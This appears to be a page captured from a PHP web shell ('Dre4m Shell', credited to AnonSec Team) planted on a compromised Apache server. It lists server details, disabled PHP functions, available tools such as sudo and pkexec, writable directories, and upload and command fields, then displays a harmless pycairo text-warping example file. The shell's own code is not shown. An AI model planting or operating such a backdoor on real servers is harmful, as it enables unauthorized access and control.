Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.142.242.51
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/python-cairo/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/doc/python-cairo/examples/warpedtext.py
#!/usr/bin/env python

import cairo
import math

def warpPath(ctx, function):
    first = True

    for type, points in ctx.copy_path():
        if type == cairo.PATH_MOVE_TO:
            if first:
                ctx.new_path()
                first = False
            x, y = function(*points)
            ctx.move_to(x, y)

        elif type == cairo.PATH_LINE_TO:
            x, y = function(*points)
            ctx.line_to(x, y)

        elif type == cairo.PATH_CURVE_TO:
            x1, y1, x2, y2, x3, y3 = points
            x1, y1 = function(x1, y1)
            x2, y2 = function(x2, y2)
            x3, y3 = function(x3, y3)
            ctx.curve_to(x1, y1, x2, y2, x3, y3)

        elif type == cairo.PATH_CLOSE_PATH:
            ctx.close_path()

def spiral(x, y):
    theta0 = -math.pi * 3 / 4
    theta = x / Width * math.pi * 2 + theta0
    radius = y + 200 - x/7
    xnew = radius*math.cos(theta)
    ynew = radius*math.sin(-theta)
    return xnew + Width/2, ynew + Height/2

def curl(x, y):
    xn = x - Textwidth/2
    #yn = y - Textheight/2
    xnew = xn
    ynew = y + xn ** 3 / ((Textwidth/2)**3) * 70
    return xnew + Width/2, ynew + Height*2/5


Width, Height = 512, 512
surface = cairo.ImageSurface(cairo.FORMAT_ARGB32, Width, Height)
ctx = cairo.Context(surface)
solidpattern = ctx.get_source()

# background
pat = cairo.LinearGradient (0.0, 0.0, 0, Height)
pat.add_color_stop_rgba (1, 0, 0, 0, 1)
pat.add_color_stop_rgba (0, 1, 1, 1, 1)

ctx.rectangle (0,0,Width,Height)
ctx.set_source (pat)
ctx.fill ()

# foreground
ctx.set_source (solidpattern)
ctx.set_source_rgb (1,1,1)

ctx.select_font_face("Sans")
ctx.set_font_size(80)

# spiral text
ctx.new_path()
ctx.move_to(0, 0)
ctx.text_path("pycairo - " + "spam " * 5)
warpPath(ctx, spiral)
ctx.fill()

# curly text
ctx.new_path()
ctx.move_to(0, 0)
ctx.set_source_rgb(0.3, 0.3, 0.3)
text = "I am curly :)"
ctx.text_path(text)
Textwidth, Textheight = ctx.text_extents(text)[2:4]
warpPath(ctx, curl)
ctx.fill()

surface.write_to_png("warpedtext.png")

Anon7 - 2022
AnonSec Team